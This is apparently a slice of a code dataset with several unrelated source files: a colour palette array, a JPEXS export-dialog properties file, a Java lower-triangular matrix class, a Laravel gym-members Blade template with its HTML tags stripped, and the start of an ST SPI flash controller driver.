0.32549019607843},\n {name: 'Neon Pink', r: 0.76470588235294, g: 0.4156862745098, b: 0.63137254901961},\n {name: 'Neon Blue', r: 0.074509803921569, g: 0.60392156862745, b: 0.7921568627451},\n {name: 'Yellow Ochre', r: 0.98823529411765, g: 0.83137254901961, b: 0.011764705882353},\n {name: 'Neon Yellow Green', r: 0.96470588235294, g: 0.92941176470588, b: 0.38823529411765},\n {name: 'Neon Green', r: 0.65882352941176, g: 0.7843137254902, b: 0.37647058823529},\n {name: 'Forest Green', r: 0.52156862745098, g: 0.83137254901961, b: 0.56078431372549},\n {name: 'Spruce Green', r: 0.18823529411765, g: 0.58039215686275, b: 0.44313725490196},\n {name: 'Emerald', r: 0.1843137254902, g: 0.80392156862745, b: 0.17647058823529},\n {name: 'Leaf Green', r: 0.39607843137255, g: 0.84313725490196, b: 0.13725490196078},\n {name: 'Canary Yellow', r: 0.96862745098039, g: 0.96862745098039, b: 0.011764705882353},\n {name: 'Pale Jade', r: 0.74117647058824, g: 0.87058823529412, b: 0.76862745098039},\n {name: 'Avocado', r: 0.70980392156863, g: 1, b: 0.019607843137255},\n {name: 'Mint Cream', r: 0.70980392156863, g: 0.96078431372549, b: 0.52941176470588},\n {name: 'Cold Stone', r: 0.8, g: 0.89019607843137, b: 0.98039215686275},\n {name: 'Spearmint', r: 0.14509803921569, g: 0.62745098039216, b: 0.007843137254902},\n {name: 'Wheat', r: 0.94901960784314, g: 0.96078431372549, b: 0.8},\n {name: 'Green Tea', r: 0.43921568627451, g: 0.7843137254902, b: 0},\n {name: 'Muted Turquoise', r: 0.69019607843137, g: 0.90196078431373, b: 0.94901960784314},\n {name: 'Mocha Light', r: 0.5843137254902, g: 0.55686274509804, b: 0.31764705882353},\n {name: 'Process Red Light', r: 0.90588235294118, g: 0.73333333333333, b: 0.83137254901961},\n {name: 'Canary Yellow Light', r: 1, g: 0.96470588235294, b: 0.6},\n {name: 'Mocha Dark', r: 0.24313725490196, g: 0.24313725490196, b: 0.03921568627451},\n {name: 'Cinnamon Toast', r: 0.87843137254902, g: 0.81176470588235, b: 0.61960784313725},\n {name: 'Sky Blue Light', r: 0.50980392156863, g: 0.81960784313725, b: 1},\n {name: 'Driftwood', r: 0.85882352941176, g: 0.87058823529412, b: 0.83921568627451},\n {name: 'Taupe', r: 0.57647058823529, g: 0.64705882352941, b: 0.54901960784314},\n {name: 'Parchment', r: 0.81960784313725, g: 0.85882352941176, b: 0.74901960784314},\n {name: 'Ash Grey', r: 0.83921568627451, g: 0.87058823529412, b: 0.81960784313725},\n {name: 'Pale Peach', r: 0.96078431372549, g: 0.94117647058824, b: 0.76862745098039},\n {name: 'Ballet Pink', r: 0.96078431372549, g: 0.74117647058824, b: 0.87058823529412},\n {name: 'Khaki', r: 0.74901960784314, g: 0.76078431372549, b: 0.52941176470588},\n {name: 'Tulip Yellow', r: 0.98823529411765, g: 0.94117647058824, b: 0.34901960784314},\n {name: 'Oatmeal', r: 0.83137254901961, g: 0.85882352941176, b: 0.54901960784314},\n {name: 'Jet Black', r: 0.074509803921569, g: 0.094117647058824, b: 0.090196078431373},\n {name: 'Pewter', r: 0.81960784313725, g: 0.87843137254902, b: 0.89019607843137},\n {name: 'Eggplant', r: 0.15686274509804, g: 0.050980392156863, b: 0.10196078431373},\n {name: 'Cocoa Bean', r: 0.2156862745098, g: 0.26274509803922, b: 0.047058823529412},\n {name: 'Yellow Orange Light', r: 0.93725490196078, g: 0.76078431372549, b: 0.32549019607843},\n {name: 'Neutral Grey 10%', r: 0.86666666666667, g: 0.86274509803922, b: 0.86666666666667},\n {name: 'Neutral Grey 20%', r: 0.76862745098039, g: 0.76470588235294, b: 0.77647058823529},\n {name: 'Neutral Grey 30%', r: 0.68235294117647, g: 0.67450980392157, b: 0.69019607843137},\n {name: 'Neutral Grey 40%', r: 0.6, g: 0.5921568627451, b: 0.6156862745098},\n {name: 'Neutral Grey 50%', r: 0.52549019607843, g: 0.51764705882353, b: 0.54509803921569},\n {name: 'Neutral Grey 60%', r: 0.45490196078431, g: 0.45098039215686, b: 0.47843137254902},\n {name: 'Neutral Grey 70%', r: 0.3921568627451, g: 0.38823529411765, b: 0.41960784313725},\n {name: 'Neutral Grey 80%', r: 0.33333333333333, g: 0.33725490196078, b: 0.36470588235294},\n {name: 'Neutral Grey 90%', r: 0.27450980392157, g: 0.28627450980392, b: 0.31764705882353},\n {name: 'Cream', r: 0.98823529411765, g: 1, b: 0.83137254901961},\n {name: 'Deco Orange Light', r: 0.94117647058824, g: 0.79607843137255, b: 0.65490196078431},\n {name: 'Deco Pink Light', r: 0.96862745098039, g: 0.90196078431373, b: 0.93725490196078},\n {name: 'Almond Milk', r: 0.9843137254902, g: 0.94509803921569, b: 0.91764705882353},\n {name: 'Ultramarine Light', r: 0.54117647058824, g: 0.68235294117647, b: 0.86274509803922},\n {name: 'Spring Green', r: 0.58823529411765, g: 0.96862745098039, b: 0.21176470588235},\n {name: 'Light Olive Green', r: 0.60392156862745, g: 0.77254901960784, b: 0.36470588235294},\n {name: 'Carmine Red Light', r: 0.88235294117647, g: 0.6156862745098, b: 0.58039215686275},\n {name: 'Chartreuse', r: 0.83921568627451, g: 1, b: 0.47058823529412},\n {name: 'Light Umber 20%', r: 0.89411764705882, g: 0.83529411764706, b: 0.75294117647059},\n {name: 'Light Umber 30%', r: 0.87058823529412, g: 0.79607843137255, b: 0.69803921568627},\n {name: 'Light Umber 40%', r: 0.81960784313725, g: 0.74901960784314, b: 0.67450980392157},\n {name: 'Light Umber 50%', r: 0.79607843137255, g: 0.71372549019608, b: 0.63137254901961},\n {name: 'Light Umber 60%', r: 0.76862745098039, g: 0.67843137254902, b: 0.58823529411765},\n {name: 'Light Umber 70%', r: 0.74117647058824, g: 0.63921568627451, b: 0.54117647058824},\n {name: 'Light Umber 80%', r: 0.71372549019608, g: 0.6078431372549, b: 0.50196078431373},\n {name: 'Light Umber 90%', r: 0.54117647058824, g: 0.45490196078431, b: 0.33333333333333},\n {name: 'Dark Olive Green', r: 0.29803921568627, g: 0.62352941176471, b: 0.086274509803922},\n {name: 'Pink Light', r: 0.87843137254902, g: 0.63921568627451, b: 0.76862745098039},\n {name: 'Ballet Pink Light', r: 0.96078431372549, g: 0.87450980392157, b: 0.88235294117647},\n {name: 'Dark Green', r: 0.25098039215686, g: 0.70588235294118, b: 0.2156862745098},\n {name: 'Parrot Green', r: 0.24705882352941, g: 0.84313725490196, b: 0.50588235294118},\n {name: 'Parrot Green Light', r: 0.50588235294118, g: 0.74117647058824, b: 0.70980392156863},\n {name: 'Lime Green', r: 0.72941176470588, g: 0.94117647058824, b: 0.69019607843137},\n {name: 'Aquamarine', r: 0.25882352941176, g: 0.78039215686275, b: 0.70980392156863},\n {name: 'Teal Blue', r: 0.32156862745098, g: 0.63529411764706, b: 0.65490196078431},\n {name: 'True Blue', r: 0.41176470588235, g: 0.83137254901961, b: 1},\n {name: 'Crimson Red', r: 0.88235294117647, g: 0.007843137254902, b: 0.027450980392157},\n {name: 'Copenhagen Blue', r: 0.30196078431373, g: 0.70980392156863, b: 1},\n {name: 'Violet Blue Light', r: 0.83137254901961, g: 0.69019607843137, b: 0.88235294117647},\n {name: 'Violet Blue', r: 0.14901960784314, g: 0.31764705882353, b: 0.92941176470588},\n {name: 'Indigo Blue', r: 0.12156862745098, g: 0.24313725490196, b: 0.73333333333333},\n {name: 'Ultramarine', r: 0.2, g: 0.43921568627451, b: 0.98039215686275},\n {name: 'Navy Blue', r: 0.023529411764706, g: 0.11372549019608, b: 0.56078431372549},\n {name: 'Light Aqua', r: 0.58823529411765, g: 0.90980392156863, b: 0.87058823529412},\n {name: 'Light Blue', r: 0.6, g: 0.90980392156863, b: 0.92156862745098},\n {name: 'Light Cerulean Blue', r: 0.78039215686275, g: 0.94901960784314, b: 1},\n {name: 'Scarlet Lake', r: 1, g: 0.14901960784314, b: 0.43921568627451},\n {name: 'Violet', r: 0.14901960784314, g: 0.058823529411765, b: 0.98823529411765},\n {name: 'Violet Dark', r: 0.24705882352941, g: 0.24313725490196, b: 0.54509803921569},\n {name: 'Mulberry Light', r: 0.83529411764706, g: 0.67843137254902, b: 0.80392156862745},\n {name: 'Mulberry', r: 0.76862745098039, g: 0.050980392156863, b: 1},\n {name: 'Rhodamine Light', r: 0.85098039215686, g: 0.6078431372549, b: 0.74901960784314},\n {name: 'Rhodamine', r: 0.96078431372549, g: 0.011764705882353, b: 0.98823529411765},\n {name: 'Rhodamine Dark', r: 0.58039215686275, g: 0.14117647058824, b: 0.49803921568627},\n {name: 'Carmine Red', r: 1, g: 0.34117647058824, b: 0.54901960784314},\n {name: 'Violet Mist', r: 0.72156862745098, g: 0.83137254901961, b: 1},\n {name: 'Dark Umber', r: 0.22352941176471, g: 0.090196078431373, b: 0.086274509803922},\n {name: 'Sepia', r: 0.45882352941176, g: 0.44313725490196, b: 0.18823529411765},\n {name: 'Sienna Brown', r: 0.83137254901961, g: 0.4156862745098, b: 0.44705882352941},\n {name: 'Goldenrod', r: 0.92941176470588, g: 0.65098039215686, b: 0.43921568627451},\n {name: 'Magenta', r: 1, g: 0.23921568627451, b: 0.96078431372549},\n {name: 'Sand', r: 0.92941176470588, g: 0.76862745098039, b: 0.54901960784314},\n {name: 'Buff', r: 0.92156862745098, g: 0.94117647058824, b: 0.92156862745098},\n {name: 'Eggshell', r: 0.98039215686275, g: 0.96078431372549, b: 0.83921568627451},\n {name: 'Flagstone Red', r: 0.66274509803922, g: 0.43529411764706, b: 0.72156862745098},\n {name: 'Brick Beige', r: 0.98823529411765, g: 0.87058823529412, b: 0.76862745098039},\n {name: 'Brick White', r: 0.96078431372549, g: 0.94901960784314, b: 0.89019607843137},\n {name: 'Pink', r: 1, g: 0.43921568627451, b: 1},\n {name: 'Putty', r: 0.90196078431373, g: 0.87058823529412, b: 0.83921568627451},\n {name: 'Turquoise Dark', r: 0.10196078431373, g: 0.51372549019608, b: 0.77254901960784},\n {name: 'Terra Cotta', r: 0.92941176470588, g: 0.41960784313725, b: 0.43921568627451},\n {name: 'Cherry', r: 0.87058823529412, g: 0.24705882352941, b: 0.44705882352941},\n {name: 'Dark Brown', r: 0.43529411764706, g: 0.45882352941176, b: 0.23137254901961},\n {name: 'Light Walnut', r: 0.85098039215686, g: 0.8, b: 0.70980392156863},\n {name: 'Blush Pink Light', r: 0.93333333333333, g: 0.79607843137255, b: 0.80392156862745},\n {name: 'Walnut', r: 0.85882352941176, g: 0.58039215686275, b: 0.52156862745098},\n {name: 'Burnt Ochre', r: 0.96078431372549, g: 0.65098039215686, b: 0.25098039215686},\n {name: 'Light Tan', r: 0.73333333333333, g: 0.67450980392157, b: 0.49411764705882},\n {name: 'Blondwood', r: 0.98039215686275, g: 0.96078431372549, b: 0.76078431372549},\n {name: 'Warm Black', r: 0.023529411764706, g: 0.031372549019608, b: 0.031372549019608},\n {name: 'Black', r: 0.023529411764706, g: 0.031372549019608, b: 0.031372549019608},\n {name: 'Warm Grey 10%', r: 0.98823529411765, g: 0.98823529411765, b: 0.98823529411765}\n ];\n});\t\t"} -{"text": "# Copyright (C) 2010-2016 JPEXS\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\nshapes = Shapes\nshapes.svg = SVG\nshapes.png = PNG\nshapes.bmp = BMP\nshapes.canvas = HTML5 Canvas\nshapes.swf = SWF\n\ntexts = Texts\ntexts.plain = Plain text\ntexts.formatted = Formatted text\ntexts.svg = SVG\n\nimages = Images\nimages.png_gif_jpeg = PNG/GIF/JPEG\nimages.png = PNG\nimages.jpeg = JPEG\nimages.bmp = BMP\n\nmovies = Movies\nmovies.flv = FLV (No audio)\n\nsounds = Sounds\nsounds.mp3_wav_flv = MP3/WAV/FLV\nsounds.flv = FLV (Audio only)\nsounds.mp3_wav = MP3/WAV\nsounds.wav = WAV\n\nscripts = Scripts\nscripts.as = ActionScript\nscripts.pcode = P-code\nscripts.pcode_hex = P-code with Hex\nscripts.hex = Hex\nscripts.constants = Constants\nscripts.as_method_stubs = ActionScript method stubs\nscripts.pcode_graphviz = P-code GraphViz\n\nbinaryData = Binary data\nbinaryData.raw = Raw\n\ndialog.title = Export...\n\nbutton.ok = OK\nbutton.cancel = Cancel\n\nmorphshapes = Morphshapes\nmorphshapes.gif = GIF\nmorphshapes.svg = SVG\nmorphshapes.canvas = HTML5 Canvas\nmorphshapes.swf = SWF\n\nframes = Frames\nframes.png = PNG\nframes.gif = GIF\nframes.avi = AVI\nframes.svg = SVG\nframes.canvas = HTML5 Canvas\nframes.pdf = PDF\nframes.bmp = BMP\nframes.swf = SWF\n\nsprites = Sprites\nsprites.png = PNG\nsprites.gif = GIF\nsprites.avi = AVI\nsprites.svg = SVG\nsprites.canvas = HTML5 Canvas\nsprites.pdf = PDF\nsprites.bmp = BMP\nsprites.swf = SWF\n\nbuttons = Buttons\nbuttons.png = PNG\nbuttons.svg = SVG\nbuttons.bmp = BMP\nbuttons.swf = SWF\n\nfonts = Fonts\nfonts.ttf = TTF\nfonts.woff = WOFF\n\nzoom = Zoom\nzoom.percent = %\nzoom.invalid = Invalid zoom value.\n\nsymbolclass = Symbol-Class mapping\nsymbolclass.csv = CSV\n"} -{"text": "// Licensed to the Apache Software Foundation (ASF) under one\n// or more contributor license agreements. See the NOTICE file\n// distributed with this work for additional information\n// regarding copyright ownership. The ASF licenses this file\n// to you under the Apache License, Version 2.0 (the\n// \"License\"); you may not use this file except in compliance\n// with the License. You may obtain a copy of the License at\n// \n// http://www.apache.org/licenses/LICENSE-2.0\n// \n// Unless required by applicable law or agreed to in writing,\n// software distributed under the License is distributed on an\n// \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n// KIND, either express or implied. See the License for the\n// specific language governing permissions and limitations\n// under the License.\n\npackage org.spaceroots.mantissa.linalg;\n\n/** This class implements lower triangular matrices of linear algebra.\n\n * @version $Id$\n * @author L. Maisonobe\n\n */\n\npublic class LowerTriangularMatrix\n extends SquareMatrix {\n\n /** Simple constructor.\n * This constructor builds a lower triangular matrix of specified order, all\n * elements being zeros.\n * @param order order of the matrix\n */\n public LowerTriangularMatrix(int order) {\n super(order);\n }\n\n /** Simple constructor.\n * Build a matrix with specified elements.\n * @param order order of the matrix\n * @param data table of the matrix elements (stored row after row)\n */\n public LowerTriangularMatrix(int order, double[] data) {\n super(order, data);\n }\n\n /** Copy constructor.\n * @param l lower triangular matrix to copy\n */\n public LowerTriangularMatrix(LowerTriangularMatrix l) {\n super(l);\n }\n\n public Matrix duplicate() {\n return new LowerTriangularMatrix(this);\n }\n\n public void setElement(int i, int j, double value) {\n if (i < j) {\n throw new ArrayIndexOutOfBoundsException(\"cannot set elements\"\n + \" above diagonal of a\"\n + \" lower triangular matrix\");\n }\n super.setElement(i, j, value);\n }\n\n /** Add a matrix to the instance.\n * This method adds a matrix to the instance. It does modify the instance.\n * @param l lower triangular matrix to add\n * @exception IllegalArgumentException if there is a dimension mismatch\n */\n public void selfAdd(LowerTriangularMatrix l) {\n\n // validity check\n if ((rows != l.rows) || (columns != l.columns)) {\n throw new IllegalArgumentException(\"cannot add a \"\n + l.rows + 'x' + l.columns\n + \" matrix to a \"\n + rows + 'x' + columns\n + \" matrix\");\n }\n\n // addition loop\n for (int i = 0; i < rows; ++i) {\n for (int index = i * columns; index < i * (columns + 1) + 1; ++index) {\n data[index] += l.data[index];\n }\n }\n\n }\n\n /** Substract a matrix from the instance.\n * This method substract a matrix from the instance. It does modify the instance.\n * @param l lower triangular matrix to substract\n * @exception IllegalArgumentException if there is a dimension mismatch\n */\n public void selfSub(LowerTriangularMatrix l) {\n\n // validity check\n if ((rows != l.rows) || (columns != l.columns)) {\n throw new IllegalArgumentException(\"cannot substract a \"\n + l.rows + 'x' + l.columns\n + \" matrix from a \"\n + rows + 'x' + columns\n + \" matrix\");\n }\n\n // substraction loop\n for (int i = 0; i < rows; ++i) {\n for (int index = i * columns; index < i * (columns + 1) + 1; ++index) {\n data[index] -= l.data[index];\n }\n }\n\n }\n\n public double getDeterminant(double epsilon) {\n double determinant = data[0];\n for (int index = columns + 1; index < columns * columns; index += columns + 1) {\n determinant *= data[index];\n }\n return determinant;\n }\n\n public Matrix solve(Matrix b, double epsilon)\n throws SingularMatrixException {\n // validity check\n if (b.getRows () != rows) {\n throw new IllegalArgumentException(\"dimension mismatch\");\n }\n\n // prepare the data storage\n int bRows = b.getRows();\n int bCols = b.getColumns();\n\n double[] resultData = new double[bRows * bCols];\n int resultIndex = 0;\n int lowerElements = 0;\n int upperElements = 0;\n int minJ = columns;\n int maxJ = 0;\n\n // solve the linear system\n for (int i = 0; i < rows; ++i) {\n double diag = data[i * (columns + 1)];\n if (Math.abs(diag) < epsilon) {\n throw new SingularMatrixException();\n }\n double inv = 1.0 / diag;\n\n NonNullRange range = b.getRangeForRow(i);\n minJ = Math.min(minJ, range.begin);\n maxJ = Math.max(maxJ, range.end);\n\n int j = 0;\n while (j < minJ) {\n resultData[resultIndex] = 0.0;\n ++resultIndex;\n ++j;\n }\n\n // compute the possibly non null elements\n int bIndex = i * bCols + minJ;\n while (j < maxJ) {\n\n // compute the current element\n int index1 = i * columns;\n int index2 = j;\n double value = b.data[bIndex];\n while (index1 < i * (columns + 1)) {\n value -= data[index1] * resultData[index2];\n ++index1;\n index2 += bCols;\n }\n value *= inv;\n resultData[resultIndex] = value;\n\n // count the affected upper and lower elements\n // (in order to deduce the shape of the resulting matrix)\n if (j < i) {\n ++lowerElements;\n } else if (i < j) {\n ++upperElements;\n }\n\n ++bIndex;\n ++resultIndex;\n ++j;\n\n }\n\n while (j < bCols) {\n resultData[resultIndex] = 0.0;\n ++resultIndex;\n ++j;\n }\n\n }\n\n return MatrixFactory.buildMatrix(bRows, bCols, resultData,\n lowerElements, upperElements);\n\n }\n\n public NonNullRange getRangeForRow(int i) {\n return new NonNullRange(0, i + 1);\n }\n\n public NonNullRange getRangeForColumn(int j) {\n return new NonNullRange(j, rows);\n }\n\n private static final long serialVersionUID = 3592505328858227281L;\n\n}\n"} -{"text": "@extends('app')\n\n@section('content')\n\n
    \n\n \n
    \n @include('flash::message')\n

    Active Members\n Details of all active gym members\n

    \n @permission(['manage-gymie','pagehead-stats'])\n

    \n Active Members\n

    \n @endpermission\n
    \n\n
    \n
    \n
    \n
    \n
    \n
    \n\n
    \n
    \n {!! Form::Open(['method' => 'GET']) !!}\n\n
    \n\n {!! Form::label('member-daterangepicker','Date range') !!}\n\n
    \n \n {{$drp_placeholder}}\n \n
    \n\n {!! Form::text('drp_start',null,['class'=>'hidden', 'id' => 'drp_start']) !!}\n {!! Form::text('drp_end',null,['class'=>'hidden', 'id' => 'drp_end']) !!}\n
    \n\n
    \n {!! Form::label('sort_field','Sort By') !!}\n {!! Form::select('sort_field',array('created_at' => 'Date','name' => 'Name', 'member_code' => 'Member code', 'plan_name' => 'Plan name', 'status' => 'Status'),old('sort_field'),['class' => 'form-control selectpicker show-tick show-menu-arrow', 'id' => 'sort_field']) !!}\n
    \n\n
    \n {!! Form::label('sort_direction','Order') !!}\n {!! Form::select('sort_direction',array('desc' => 'Descending','asc' => 'Ascending'),old('sort_direction'),['class' => 'form-control selectpicker show-tick show-menu-arrow', 'id' => 'sort_direction']) !!}\n
    \n\n
    \n {!! Form::label('search','Keyword') !!}\n \n
    \n\n
    \n {!! Form::label(' ') !!}
    \n \n
    \n\n {!! Form::Close() !!}\n
    \n
    \n\n
    \n
    \n\n
    \n\n @if($members->count() == 0)\n

    Sorry! No records found

    \n @else\n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n @foreach ($members as $member)\n subscriptions;\n $plansArray = array();\n foreach ($subscriptions as $subscription) {\n $plansArray[] = $subscription->plan->plan_name;\n }\n $images = $member->getMedia('profile');\n $profileImage = ($images->isEmpty() ? 'https://placeholdit.imgix.net/~text?txtsize=18&txt=NA&w=50&h=50' : url($images[0]->getUrl('thumb')));\n ?>\n \n \n \n \n \n \n \n \n \n \n @endforeach\n \n
    PhotoCodeNameContactPlan nameMember sinceStatusActions
    $member->id]) }}\"> $member->id]) }}\">{{ $member->member_code}} $member->id]) }}\">{{ $member->name}}{{ $member->contact}}{{ implode(\",\",$plansArray) }}{{ $member->created_at->format('Y-m-d')}}\n status) }}\">{{ Utilities::getStatusValue ($member->status) }}\n \n
    \n \n \n \n
    \n\n
    \n\n
    \n
    \n
    \n Showing page {{ $members->currentPage() }} of {{ $members->lastPage() }}\n
    \n
    \n
    \n
    \n {!! str_replace('/?', '?', $members->appends(Input::all())->render()) !!}\n
    \n
    \n
    \n\n
    \n @endif\n
    \n
    \n
    \n
    \n
    \n@stop\n@section('footer_script_init')\n \n@stop"} -{"text": "/*\n * st_spi_fsm.c\t- ST Fast Sequence Mode (FSM) Serial Flash Controller\n *\n * Author: Angus Clark \n *\n * Copyright (C) 2010-2014 STMicroelectronics Limited\n *\n * JEDEC probe based on drivers/mtd/devices/m25p80.c\n *\n * This code is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"serial_flash_cmds.h\"\n\n/*\n * FSM SPI Controller Registers\n */\n#define SPI_CLOCKDIV\t\t\t0x0010\n#define SPI_MODESELECT\t\t\t0x0018\n#define SPI_CONFIGDATA\t\t\t0x0020\n#define SPI_STA_MODE_CHANGE\t\t0x0028\n#define SPI_FAST_SEQ_TRANSFER_SIZE\t0x0100\n#define SPI_FAST_SEQ_ADD1\t\t0x0104\n#define SPI_FAST_SEQ_ADD2\t\t0x0108\n#define SPI_FAST_SEQ_ADD_CFG\t\t0x010c\n#define SPI_FAST_SEQ_OPC1\t\t0x0110\n#define SPI_FAST_SEQ_OPC2\t\t0x0114\n#define SPI_FAST_SEQ_OPC3\t\t0x0118\n#define SPI_FAST_SEQ_OPC4\t\t0x011c\n#define SPI_FAST_SEQ_OPC5\t\t0x0120\n#define SPI_MODE_BITS\t\t\t0x0124\n#define SPI_DUMMY_BITS\t\t\t0x0128\n#define SPI_FAST_SEQ_FLASH_STA_DATA\t0x012c\n#define SPI_FAST_SEQ_1\t\t\t0x0130\n#define SPI_FAST_SEQ_2\t\t\t0x0134\n#define SPI_FAST_SEQ_3\t\t\t0x0138\n#define SPI_FAST_SEQ_4\t\t\t0x013c\n#define SPI_FAST_SEQ_CFG\t\t0x0140\n#define SPI_FAST_SEQ_STA\t\t0x0144\n#define SPI_QUAD_BOOT_SEQ_INIT_1\t0x0148\n#define SPI_QUAD_BOOT_SEQ_INIT_2\t0x014c\n#define SPI_QUAD_BOOT_READ_SEQ_1\t0x0150\n#define SPI_QUAD_BOOT_READ_SEQ_2\t0x0154\n#define SPI_PROGRAM_ERASE_TIME\t\t0x0158\n#define SPI_MULT_PAGE_REPEAT_SEQ_1\t0x015c\n#define SPI_MULT_PAGE_REPEAT_SEQ_2\t0x0160\n#define SPI_STATUS_WR_TIME_REG\t\t0x0164\n#define SPI_FAST_SEQ_DATA_REG\t\t0x0300\n\n/*\n * Register: SPI_MODESELECT\n */\n#define SPI_MODESELECT_CONTIG\t\t0x01\n#define SPI_MODESELECT_FASTREAD\t\t0x02\n#define SPI_MODESELECT_DUALIO\t\t0x04\n#define SPI_MODESELECT_FSM\t\t0x08\n#define SPI_MODESELECT_QUADBOOT\t\t0x10\n\n/*\n * Register: SPI_CONFIGDATA\n */\n#define SPI_CFG_DEVICE_ST\t\t0x1\n#define SPI_CFG_DEVICE_ATMEL\t\t0x4\n#define SPI_CFG_MIN_CS_HIGH(x)\t\t(((x) & 0xfff) << 4)\n#define SPI_CFG_CS_SETUPHOLD(x)\t\t(((x) & 0xff) << 16)\n#define SPI_CFG_DATA_HOLD(x)\t\t(((x) & 0xff) << 24)\n\n#define SPI_CFG_DEFAULT_MIN_CS_HIGH SPI_CFG_MIN_CS_HIGH(0x0AA)\n#define SPI_CFG_DEFAULT_CS_SETUPHOLD SPI_CFG_CS_SETUPHOLD(0xA0)\n#define SPI_CFG_DEFAULT_DATA_HOLD SPI_CFG_DATA_HOLD(0x00)\n\n/*\n * Register: SPI_FAST_SEQ_TRANSFER_SIZE\n */\n#define TRANSFER_SIZE(x)\t\t((x) * 8)\n\n/*\n * Register: SPI_FAST_SEQ_ADD_CFG\n */\n#define ADR_CFG_CYCLES_ADD1(x)\t\t((x) << 0)\n#define ADR_CFG_PADS_1_ADD1\t\t(0x0 << 6)\n#define ADR_CFG_PADS_2_ADD1\t\t(0x1 << 6)\n#define ADR_CFG_PADS_4_ADD1\t\t(0x3 << 6)\n#define ADR_CFG_CSDEASSERT_ADD1\t\t(1 << 8)\n#define ADR_CFG_CYCLES_ADD2(x)\t\t((x) << (0+16))\n#define ADR_CFG_PADS_1_ADD2\t\t(0x0 << (6+16))\n#define ADR_CFG_PADS_2_ADD2\t\t(0x1 << (6+16))\n#define ADR_CFG_PADS_4_ADD2\t\t(0x3 << (6+16))\n#define ADR_CFG_CSDEASSERT_ADD2\t\t(1 << (8+16))\n\n/*\n * Register: SPI_FAST_SEQ_n\n */\n#define SEQ_OPC_OPCODE(x)\t\t((x) << 0)\n#define SEQ_OPC_CYCLES(x)\t\t((x) << 8)\n#define SEQ_OPC_PADS_1\t\t\t(0x0 << 14)\n#define SEQ_OPC_PADS_2\t\t\t(0x1 << 14)\n#define SEQ_OPC_PADS_4\t\t\t(0x3 << 14)\n#define SEQ_OPC_CSDEASSERT\t\t(1 << 16)\n\n/*\n * Register: SPI_FAST_SEQ_CFG\n */\n#define SEQ_CFG_STARTSEQ\t\t(1 << 0)\n#define SEQ_CFG_SWRESET\t\t\t(1 << 5)\n#define SEQ_CFG_CSDEASSERT\t\t(1 << 6)\n#define SEQ_CFG_READNOTWRITE\t\t(1 << 7)\n#define SEQ_CFG_ERASE\t\t\t(1 << 8)\n#define SEQ_CFG_PADS_1\t\t\t(0x0 << 16)\n#define SEQ_CFG_PADS_2\t\t\t(0x1 << 16)\n#define SEQ_CFG_PADS_4\t\t\t(0x3 << 16)\n\n/*\n * Register: SPI_MODE_BITS\n */\n#define MODE_DATA(x)\t\t\t(x & 0xff)\n#define MODE_CYCLES(x)\t\t\t((x & 0x3f) << 16)\n#define MODE_PADS_1\t\t\t(0x0 << 22)\n#define MODE_PADS_2\t\t\t(0x1 << 22)\n#define MODE_PADS_4\t\t\t(0x3 << 22)\n#define DUMMY_CSDEASSERT\t\t(1 << 24)\n\n/*\n * Register: SPI_DUMMY_BITS\n */\n#define DUMMY_CYCLES(x)\t\t\t((x & 0x3f) << 16)\n#define DUMMY_PADS_1\t\t\t(0x0 << 22)\n#define DUMMY_PADS_2\t\t\t(0x1 << 22)\n#define DUMMY_PADS_4\t\t\t(0x3 << 22)\n#define DUMMY_CSDEASSERT\t\t(1 << 24)\n\n/*\n * Register: SPI_FAST_SEQ_FLASH_STA_DATA\n */\n#define STA_DATA_BYTE1(x)\t\t((x & 0xff) << 0)\n#define STA_DATA_BYTE2(x)\t\t((x & 0xff) << 8)\n#define STA_PADS_1\t\t\t(0x0 << 16)\n#define STA_PADS_2\t\t\t(0x1 << 16)\n#define STA_PADS_4\t\t\t(0x3 << 16)\n#define STA_CSDEASSERT\t\t\t(0x1 << 20)\n#define STA_RDNOTWR\t\t\t(0x1 << 21)\n\n/*\n * FSM SPI Instruction Opcodes\n */\n#define STFSM_OPC_CMD\t\t\t0x1\n#define STFSM_OPC_ADD\t\t\t0x2\n#define STFSM_OPC_STA\t\t\t0x3\n#define STFSM_OPC_MODE\t\t\t0x4\n#define STFSM_OPC_DUMMY\t\t0x5\n#define STFSM_OPC_DATA\t\t\t0x6\n#define STFSM_OPC_WAIT\t\t\t0x7\n#define STFSM_OPC_JUMP\t\t\t0x8\n#define STFSM_OPC_GOTO\t\t\t0x9\n#define STFSM_OPC_STOP\t\t\t0xF\n\n/*\n * FSM SPI Instructions (== opcode + operand).\n */\n#define STFSM_INSTR(cmd, op)\t\t((cmd) | ((op) << 4))\n\n#define STFSM_INST_CMD1\t\t\tSTFSM_INSTR(STFSM_OPC_CMD,\t1)\n#define STFSM_INST_CMD2\t\t\tSTFSM_INSTR(STFSM_OPC_CMD,\t2)\n#define STFSM_INST_CMD3\t\t\tSTFSM_INSTR(STFSM_OPC_CMD,\t3)\n#define STFSM_INST_CMD4\t\t\tSTFSM_INSTR(STFSM_OPC_CMD,\t4)\n#define STFSM_INST_CMD5\t\t\tSTFSM_INSTR(STFSM_OPC_CMD,\t5)\n#define STFSM_INST_ADD1\t\t\tSTFSM_INSTR(STFSM_OPC_ADD,\t1)\n#define STFSM_INST_ADD2\t\t\tSTFSM_INSTR(STFSM_OPC_ADD,\t2)\n\n#define STFSM_INST_DATA_WRITE\t\tSTFSM_INSTR(STFSM_OPC_DATA,\t1)\n#define STFSM_INST_DATA_READ\t\tSTFSM_INSTR(STFSM_OPC_DATA,\t2)\n\n#define STFSM_INST_STA_RD1\t\tSTFSM_INSTR(STFSM_OPC_STA,\t0x1)\n#define STFSM_INST_STA_WR1\t\tSTFSM_INSTR(STFSM_OPC_STA,\t0x1)\n#define STFSM_INST_STA_RD2\t\tSTFSM_INSTR(STFSM_OPC_STA,\t0x2)\n#define 